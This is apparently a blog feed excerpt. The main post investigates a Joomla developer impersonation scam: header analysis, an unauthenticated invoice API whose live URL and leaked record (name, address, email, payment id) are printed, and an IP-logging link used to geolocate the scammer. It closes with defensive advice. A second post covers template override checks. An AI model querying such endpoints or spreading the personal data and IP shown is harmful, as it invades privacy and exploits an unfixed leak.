&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-escrow-step.C5YxE0JJ_ZYrt3r.webp&quot; alt=&quot;The GoFlex checkout &apos;Before you pay&apos; step offering two choices: &apos;I have received the deliverables&apos; which pays the merchant immediately, or &apos;I have NOT received the deliverables&apos; which holds the funds in escrow until the work is confirmed&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;770&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The GoFlex &apos;Before you pay&apos; step. One option pays out at once. The other holds the money in escrow until you confirm the work was done.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;GoFlex offers to hold your money in escrow until you confirm you actually received the work. For a real supplier that is a feature. For this one it is a problem, because there is no work and never will be. So the next email told me, in bold, not to use it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-escrow.CFHFNZJ3_Z1ilPio.webp&quot; alt=&quot;The scammer&apos;s email telling Phil to proceed with the $550 plan and, in bold, &apos;Please do not make this payment through escrow&apos;, insisting the payment go directly through the invoice&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;1041&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:35. &apos;Please do not make this payment through escrow.&apos; The quiet part, in bold.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“We can proceed with Option 3 - Full Premium maintenance &amp;amp; SEO ($550) as agreed. To move forward, kindly complete the required implementation toolkit purchase using the secure invoice link below.” Then, in bold: “Please do not make this payment through escrow. The toolkit payment needs to be completed directly through the invoice so the funds can be available for the required implementation tools and services without additional processing delays.” Read that against the screenshot above. Escrow holds the money until you confirm the work was done. The one thing a scammer cannot afford is a buyer who waits to see the work. “Without additional processing delays” is the money leaving your reach before you notice nothing arrived.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-phil-jwc.gX4MbNwS_2cvXmG.webp&quot; alt=&quot;Phil&apos;s reply asking whether the sender is going to JWC26 and joking that it is probably far from Greece&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;494&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:36. I ask a question the real Fotis could answer in his sleep.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;I asked whether they were going to JWC26, the Joomla conference, and said it was “far from Greece”. Fotis is Greek and a fixture at these events; the real one would have fired back something about Potsdam. I am still waiting for an answer, along with the payment link.&lt;/p&gt;
&lt;h2&gt;What Do the Email Headers Give Away?&lt;/h2&gt;
&lt;p&gt;Less than people hope, and more than the scammer would like. Every message from the sender really is from the Gmail account &lt;a href=&quot;mailto:evangelou.getk2@gmail.com&quot;&gt;evangelou.getk2@gmail.com&lt;/a&gt;: SPF pass, DKIM pass (d=gmail.com), DMARC pass. That is exactly what you would expect, and it is exactly why authentication does not help you here. Authentication proves which mailbox sent a message. It does not prove who is typing, and anyone can register a Gmail address with a famous name in it.&lt;/p&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What we looked at&lt;/th&gt;&lt;th&gt;What it showed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Sending servers&lt;/td&gt;&lt;td&gt;Google’s own outbound servers, mail-sor-f65.google.com (209.85.220.65) and mail-sor-f41.google.com (209.85.220.41)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sender’s IP address&lt;/td&gt;&lt;td&gt;Not present. Gmail does not put the sender’s own IP in the headers, so the headers cannot locate the sender. Only Google can, through an abuse report&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Message-ID&lt;/td&gt;&lt;td&gt;Every message from the sender starts with the same “CAEguL_” prefix at @mail.gmail.com, consistent with one Gmail account writing all of them&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Date header&lt;/td&gt;&lt;td&gt;Always -0700, US Pacific Daylight Time, the clock the sending account or device is set to. That fits neither the Greek LinkedIn profile nor the Seychelles postal address in the signature. A clue, not proof of where anyone is&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Auto-reply&lt;/td&gt;&lt;td&gt;Gmail’s vacation responder loaded with the pitch, marked with the headers below&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Tracking pixel&lt;/td&gt;&lt;td&gt;A zero-height signature.gif from email-signature-image.com in the first email, built by an online signature generator that reports opens&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Invoice email&lt;/td&gt;&lt;td&gt;From &lt;a href=&quot;mailto:hello@trygoflex.com&quot;&gt;hello@trygoflex.com&lt;/a&gt;, Reply-To &lt;a href=&quot;mailto:support@trygoflex.com&quot;&gt;support@trygoflex.com&lt;/a&gt;, sent through Amazon SES in us-east-2, GoFlex Technologies Inc., Dover, Delaware&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The automatic reply’s headers, for anyone who wants to recognise the pattern in their own inbox:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;X-Autoreply: yes&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Auto-Submitted: auto-replied&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Precedence: bulk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the picture from the headers is one Gmail account, on a device set to a US Pacific clock, sending through Google, with a signature built in an online generator and an invoice raised through a third-party platform in a different name. None of it tells you where the sender is sitting. All of it tells you the sender is not who the signature says.&lt;/p&gt;
&lt;h2&gt;The Invoice Platform Handed Over the Scammer&lt;/h2&gt;
&lt;p&gt;Here is the part the scammer did not plan for. GoFlex serves the invoice from a public API, and that API has no authentication on it at all. Anyone who has the invoice’s id can read the whole record back, including the merchant’s own account details. The merchant, in this case, is the person behind “Fotis Evangelou”.&lt;/p&gt;
&lt;p&gt;This is the endpoint, on GoFlex’s beta host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;https://goflex-beta.gonomadhq.site/api/v1/goflex/public/invoice/detail/4c15384f-806e-4176-b527-05ac9e6d14cc/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open it and the &lt;code&gt;merchant_data&lt;/code&gt; block comes straight back:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;merchant_data&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 49998&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;ACTIVE&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;full_name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;David Lazarus&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;residential_address&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;No 13 oke Ola street Amoyo&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;email&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;davidfundz211@gmail.com&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;profession&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;specialty&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;linkedin_url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;phone_number&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the account collecting the $550 is registered to “David Lazarus”, at &lt;a href=&quot;mailto:davidfundz211@gmail.com&quot;&gt;davidfundz211@gmail.com&lt;/a&gt;, a second throwaway Gmail that has nothing to do with the Fotis Evangelou address used in the emails. The address on the account, “No 13 oke Ola street Amoyo”, is the Ajoke Cybercafe in Amoyo, Nigeria. Not Greece, not the Seychelles, not a call from “Joomla support”. A cybercafe in Kwara State. The same record shows the money: $550 invoiced, $519.80 set to pay out to the merchant after the platform’s cut, routed through Stripe (the transaction reference is a Stripe payment id, &lt;code&gt;pi_3UQtaCJv6OGYEdmM1pIDX8x8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The same unauthenticated endpoint also read my own details back out, the name, email and address I was billed under, which means this is not only the scammer’s data on show. Any GoFlex invoice served this way exposes both the merchant and the customer on it to anyone holding the id. That is a real data protection problem on GoFlex’s side, and I have reported it to them separately. I am publishing the scammer’s merchant record here because it is the scammer’s, and because it is the clearest proof yet of who is actually behind the Fotis Evangelou costume.&lt;/p&gt;
&lt;h2&gt;So I Sent Him a Link&lt;/h2&gt;
&lt;p&gt;The invoice pointed at Nigeria. I wanted to see it from his end as well, so I put a short link on one of my own domains that logged whoever opened it, the IP address, the network, the rough location and the browser, then forwarded them straight to his invoice page so the link did exactly what he expected. The clever part was not the link, it was how I got him to click it: I sent it back to him and asked, as an anxious mark would, whether this was the right place to pay.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-trap-link.DDr4FkXz_Z2ThoJ.webp&quot; alt=&quot;Phil&apos;s message to the scammer asking whether a link on his own domain is the right place to pay and not to choose escrow&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;537&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:57. I send him a link on my own domain and ask if this is where I pay.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;He did not just open it. He vouched for it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-confirm.DuTdLTqu_Z2bUUWu.webp&quot; alt=&quot;The scammer replying &apos;Yes, that&apos;s it. is one of my billing contractor&apos;, confirming Phil&apos;s own tracking link as a legitimate payment page&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;434&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:59. &apos;Yes, that&apos;s it. is one of my billing contractor.&apos;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;He confirmed a link on my domain as “one of my billing contractor”, which is how I got the one thing the email headers would never give me: his real connection. The visit came from 102.88.166.8, a mobile address on MTN Nigeria, from Lagos, on an ordinary Windows copy of Chrome. No VPN, no proxy, no data centre, just a phone network in Nigeria and a real browser clicking a link. It matches the account address the invoice platform leaked. So the location now has two independent sources that agree: the merchant record he filled in, and the address he connected from. The US Pacific clock in his email headers was only his mail client’s setting, nothing more.&lt;/p&gt;
&lt;p&gt;He kept the act up afterwards, even softening on the escrow point once I had raised it, now that it might scare the mark off.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-escrow-softened.4U5wCh_i_Z8Oah1.webp&quot; alt=&quot;The scammer&apos;s later message calling Phil&apos;s tracking domain the GoFlex checkout page and backpedalling on escrow, saying there is no need to enter payment details until Phil is satisfied&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;790&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;20:32. The same link is now &apos;the GoFlex checkout page&apos;, and escrow is suddenly fine after all.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Cloudflare attached coordinates to the visit as well, 6.45407, 3.39467, which reverse-geocode to a business centre on Lagos Island, the Azeez Olamileken Business Centre at the Ogun State Institute of Technology’s Lagos Island centre. Do not read the pin too literally. A mobile network gives many subscribers the same geo-IP point, usually a carrier node or a city default rather than the actual phone, so this is the network’s best guess at a neighbourhood, not his desk, and the building at that point has nothing to do with any of this. What the coordinates are good for is agreement: they sit in the same city as the address on the leaked account and the same country as everything else.&lt;/p&gt;
&lt;p&gt;I have taken that link down again. It existed to answer one question, and it did.&lt;/p&gt;
&lt;h2&gt;What Should You Do If You Receive One of These?&lt;/h2&gt;
&lt;p&gt;Do not reply, and do not create any account. Then work through this list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Check whether the person really manages your site, using a channel you already trust: an address or phone number you already had before this email arrived, never one printed in the email itself.&lt;/li&gt;
&lt;li&gt;Report the Gmail address to Google, using Gmail’s “Report phishing” option or Google’s abuse form. Google is the only party that can see where the account is being used from.&lt;/li&gt;
&lt;li&gt;If you already created the account they asked for, block or delete it straight away and change your administrator passwords.&lt;/li&gt;
&lt;li&gt;Check your Joomla Users list for any other Super User accounts you did not create, and your extensions list for anything installed recently that you do not recognise.&lt;/li&gt;
&lt;li&gt;Open the User Actions Log in your Joomla administrator and look for anything done by the account you created. If it was used for anything at all, treat the site as compromised: restore a backup you know is clean, or have the site audited before you trust it again. That is JoomlaWorks’ advice in its notice, and I agree with it.&lt;/li&gt;
&lt;li&gt;If you paid the invoice, contact your bank or card provider and the invoicing platform and report the payment as fraud.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The bait in these emails is a name you trust. The defence is to never act on an email alone, however familiar the signature looks.&lt;/p&gt;
&lt;h2&gt;Checking Your Own Joomla Sites for Accounts You Did Not Create&lt;/h2&gt;
&lt;p&gt;If you look after more than a handful of sites, checking each Users list by hand is the kind of job that does not get done. mySites.guru users can search every connected site for an unexpected account by email address with the &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;user manager&lt;/a&gt;, get an &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;email alert when an administrator logs in&lt;/a&gt;. And if you want Super User logins harder to abuse in the first place, here is &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;how to force MFA on Joomla Super Users&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Who We Have Told&lt;/h2&gt;
&lt;p&gt;This is not only a blog post. The impersonation has gone to the people who can act on it. The Joomla Security Strike Team was told first, confirmed the account was impersonating Fotis, and reported it to Google. The Gmail accounts doing the sending have been reported to Google for phishing. The fraudulent invoice and the unauthenticated data leak behind it have gone to the invoicing platform that issued it. And because the payment is processed by Stripe, Stripe has been told the account is collecting money by fraud.&lt;/p&gt;
&lt;p&gt;JoomlaWorks has now published its own &lt;a href=&quot;https://www.joomlaworks.net/blog/item/320-security-notice-emails-impersonating-the-k2-developer&quot;&gt;security notice about the emails&lt;/a&gt;, after several of its clients and people in the Joomla community forwarded them copies, and has reported the Gmail account to Google as impersonation with the full headers attached. It confirms that neither Fotis nor JoomlaWorks will ever ask for a Super User account by email or invoice you through a third-party platform under someone else’s name. If you are ever unsure whether a message from them is real, write to them through a channel you were already using before the email arrived, or through the contact page on their own site.&lt;/p&gt;
&lt;p&gt;If one of these reaches you, report it as well. One report is easy to wave away. A dozen pointing at the same account is not.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 07:27&lt;/strong&gt; First email arrives Sent as Fotis Evangelou from a Gmail address to four role addresses at one company. Claims a call from Joomla support and a 25 October deadline. Forwarded to me by several worried people that morning.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 17:15&lt;/strong&gt; Follow-up to the same four addresses &quot;As I&apos;m currently managing your website ... Please let me know your thoughts when you have a moment.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 17:23&lt;/strong&gt; I take the bait &quot;Awesome - lets do this ! What do you need?&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 17:23&lt;/strong&gt; Gmail vacation responder fires 39 seconds later an automatic reply re-sends the whole pitch. Headers: X-Autoreply: yes, Auto-Submitted: auto-replied, Precedence: bulk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 17:28&lt;/strong&gt; I nudge again &quot;Awesome - lets do this!&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 18:19&lt;/strong&gt; Three priced packages $350, $450 and $550 plans, &quot;following our discussion&quot;. There had been no discussion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 18:21&lt;/strong&gt; I pick the $550 plan I ask for the payment link so I can pay right away.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 18:37&lt;/strong&gt; The real ask: a Super User account Step-by-step instructions to create a Joomla administrator account in the name Fotis Evangelou with the Gmail address. The fancy signature disappears from this message on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 18:39&lt;/strong&gt; I ask for the link, urgently &quot;Im about the leave the office for a long weekend and want to get the money to you!&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 18:48&lt;/strong&gt; Reminder about the admin account Payment link promised &quot;as soon as possible&quot;, with a second request for the administrator account, &quot;once you&apos;re home&quot; if need be.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:13&lt;/strong&gt; &quot;Hold for the payment link&quot; Four words, no signature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:25&lt;/strong&gt; Invoice for $550 arrives Sent by the GoFlex invoicing platform, billed from David Lazarus. Not Fotis Evangelou.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:35&lt;/strong&gt; &quot;Do not pay through escrow&quot; The sender insists, in bold, that I pay the invoice directly rather than use the checkout&apos;s escrow option, which would hold the money until the work was confirmed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:36&lt;/strong&gt; I ask about JWC26 A question the real Fotis could answer without thinking. No real answer comes back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:57&lt;/strong&gt; I send him a link on my own domain I ask, as a nervous mark would, whether this is the right place to pay.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:58&lt;/strong&gt; He opens it The link records a visit from a mobile address on MTN Nigeria, in Lagos, on an ordinary Windows browser. It matches the Nigerian address on the merchant account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 19:59&lt;/strong&gt; He vouches for my link as his own &quot;Yes, that&apos;s it. is one of my billing contractor.&quot; He confirms a page on my domain as a payment page of his, which is how I got his real connection. I paid nothing and created no account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-15 20:13&lt;/strong&gt; I report the invoice and an open API to GoFlex Emailed support@trygoflex.com, copying security@trygoflex.com: fraudulent invoice, plus an unauthenticated invoice API exposing merchant and customer names, addresses and emails. Asked for suspension, cancellation, a fix and confirmation. A minute later the security address, published in their own terms, bounced. I forwarded the bounce to support.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-16 10:09&lt;/strong&gt; GoFlex replies about the bounce only &quot;We&apos;ll have the security email address referenced in our Terms of Service checked to verify that it is correct and working.&quot; Nothing on the invoice, the merchant account or the data leak.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlaworks.net/blog/item/320-security-notice-emails-impersonating-the-k2-developer&quot;&gt;Security notice: emails impersonating the K2 developer&lt;/a&gt; - JoomlaWorks&apos; official statement on the emails, with the domains it really writes from and what to do if you already replied&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/mail/answer/8253&quot;&gt;Report phishing and suspicious emails in Gmail&lt;/a&gt; - Google&apos;s own instructions for reporting a Gmail address used for phishing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://getk2.org/&quot;&gt;K2&apos;s official website&lt;/a&gt; - the real K2 site, which the scam signature links to so that it looks real&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>scam</category><category>phishing</category><category>social engineering</category><enclosure url="https://mysites.guru/img/og/blog/be-aware-of-joomla-developer-impersonation-scams.png" length="0" type="image/png"/></item><item><title>How to Check Joomla Template Overrides Across 100+ Sites, With Ease</title><link>https://mysites.guru/blog/check-joomla-template-overrides-across-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/check-joomla-template-overrides-across-sites/</guid><description>Joomla flags template overrides whose core file an update changed. See every unchecked Joomla template override across 100+ sites on one page, with a diff.</description><pubDate>Wed, 14 Oct 2026 19:27:59 GMT</pubDate><content:encoded>&lt;p&gt;Every Joomla update and &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;every extension update&lt;/a&gt; can change a core layout file that one of your templates overrides. Joomla notices. It records the override, shows an “Overrides to check” notice on the admin dashboard, and waits for someone to open Template Manager and look. On one site that works: you see the notice the next time you log in. On 100+ sites, no one logs in to every admin after an update day, so the list grows on every site and each stale override keeps running the old code. Bug fixes never arrive, new features never appear, and a &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/&quot;&gt;security fix in a Joomla extension’s layout&lt;/a&gt; never reaches the copy.&lt;/p&gt;
&lt;p&gt;mySites.guru now reads that list from every connected Joomla 4, 5 and 6 site twice a day and puts the results on &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/templateoverridesunchecked&quot;&gt;one page for all your sites&lt;/a&gt;. From there you open the site that needs attention, compare each override with the current core file side by side, fix it or mark it checked, and move on. No Joomla admin login needed.&lt;/p&gt;
&lt;h2&gt;What Joomla Already Tracks For You&lt;/h2&gt;
&lt;p&gt;A template override is a copy of a core or extension layout file kept in the template’s &lt;code&gt;html&lt;/code&gt; folder, for example &lt;code&gt;html/com_content/article/default.php&lt;/code&gt;, so you can change the output without editing the original. When an update changes the original, your copy keeps running the old code, which is why Joomla 4 added &lt;a href=&quot;https://docs.joomla.org/J4.x:Improved_Override_Management&quot;&gt;Improved Override Management&lt;/a&gt;, a project that came out of Google Summer of Code 2018.&lt;/p&gt;
&lt;p&gt;The work is done by the Installer - Override plugin (&lt;code&gt;plg_installer_override&lt;/code&gt;). Before an extension update, a Joomla update or an extension install, it takes an md5 hash of every overridden core file. Afterwards it hashes them again. Any override whose core file changed is recorded in the &lt;code&gt;#__template_overrides&lt;/code&gt; table with the date and the action that caused it:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Joomla Update&lt;/dt&gt;&lt;dd&gt;A Joomla core update changed the file your override copies.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Extension Update&lt;/dt&gt;&lt;dd&gt;An extension update changed one of its own layout files that you override.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Extension Install&lt;/dt&gt;&lt;dd&gt;A fresh install of an extension put a different file behind an existing override.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;An unreviewed row has state 0. Joomla lists those rows in Template Manager on the template’s “Updated Files” tab, and the Quick Icon plugin shows the “Overrides to check” notice on the admin dashboard, as long as the Installer - Override plugin is enabled. Reviewing one in Joomla means opening the override, comparing it with the core file (Joomla’s editor has a diff toggle), editing it if needed, then marking it checked, which sets state 1. Only &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;enabled templates&lt;/a&gt; count, the same rule Joomla’s own dashboard notice uses.&lt;/p&gt;
&lt;p&gt;Know three limits before you trust the count. If the plugin is switched off, Joomla records nothing, and switching it back on only records updates from then on. Joomla skips the comparison when the number of override files changes during the update. And the comparison cannot tell changes an update made from changes you made yourself, which is why &lt;a href=&quot;https://magazine.joomla.org/all-issues/december-2024/managing-template-overrides-in-joomla&quot;&gt;Brian Teeman’s best practice&lt;/a&gt; is to delete override files you never modified, so future updates only flag the ones you really changed.&lt;/p&gt;
&lt;p&gt;How often does a core file change? &lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&quot;&gt;Astrid Günther’s example&lt;/a&gt; is Cassiopeia’s &lt;code&gt;com_content/tmpl/article/default.php&lt;/code&gt;, which changed between Joomla 4.1.4 and 4.1.5, a point release. A JoomShaper forum thread is titled “50 override changes in Helix after updating to Joomla 5”. That is one site. Multiply by your client list.&lt;/p&gt;
&lt;h2&gt;Every Joomla Site’s Overrides On One Page&lt;/h2&gt;
&lt;p&gt;The All Sites page for the Template Overrides To Check snapshot check lists every connected Joomla site with its result and an Investigate and a Manage Site button beside each one. Yellow pills say “7 to check” or “12 to check”; green says “All checked”. You see which sites need attention without opening any of them. The page is behind the “Compare All Sites” button on the check, or straight from &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/templateoverridesunchecked&quot;&gt;this URL&lt;/a&gt; once you are signed in.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-all-sites.DtXPsrPI_kqtf9.webp&quot; alt=&quot;The Template Overrides To Check All Sites page listing 22 Joomla sites, each with a green OK All checked pill or a yellow pill such as 7 to check or 12 to check, and Investigate and Manage Site buttons on every row&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1434&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The All Sites page for Template Overrides To Check. The sites shown are examples; the pills are the real result shapes.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Both new checks have an All Sites page. The one for Template Override Tracking tells you which sites have the plugin switched off.&lt;/p&gt;
&lt;h2&gt;The Two New Snapshot Checks&lt;/h2&gt;
&lt;p&gt;A &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot check&lt;/a&gt; is a single fact mySites.guru reads from a connected site twice a day, and on demand whenever you ask. Two have been added for Joomla 4, 5 and 6 (Joomla 3 has no &lt;code&gt;#__template_overrides&lt;/code&gt; table, so it gets neither).&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-snapshot-rows.Br-xbKys_2nqcpD.webp&quot; alt=&quot;The last rows of a Joomla site&apos;s snapshot list, with two new rows: 12 to check beside Template Overrides To Check and OK On beside Template Override Tracking, each with Learn and Investigate buttons&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;223&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;Template Overrides To Check is the count of unchecked overrides on enabled templates. It shows one of four labels:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;N to check&lt;/dt&gt;&lt;dd&gt;Yellow. N overrides on enabled templates have an unreviewed change behind them.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;All checked&lt;/dt&gt;&lt;dd&gt;Green. Every recorded override has been marked checked.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Tracking is off&lt;/dt&gt;&lt;dd&gt;The Installer - Override plugin is disabled, so the count means nothing.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;No Data&lt;/dt&gt;&lt;dd&gt;The site has not reported yet: an older connector, or a table that could not be read. Never shown as zero.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Template Override Tracking shows whether Joomla’s Installer - Override plugin is On or Off, and its Investigate page has a switch that turns it on or off from mySites.guru.&lt;/p&gt;
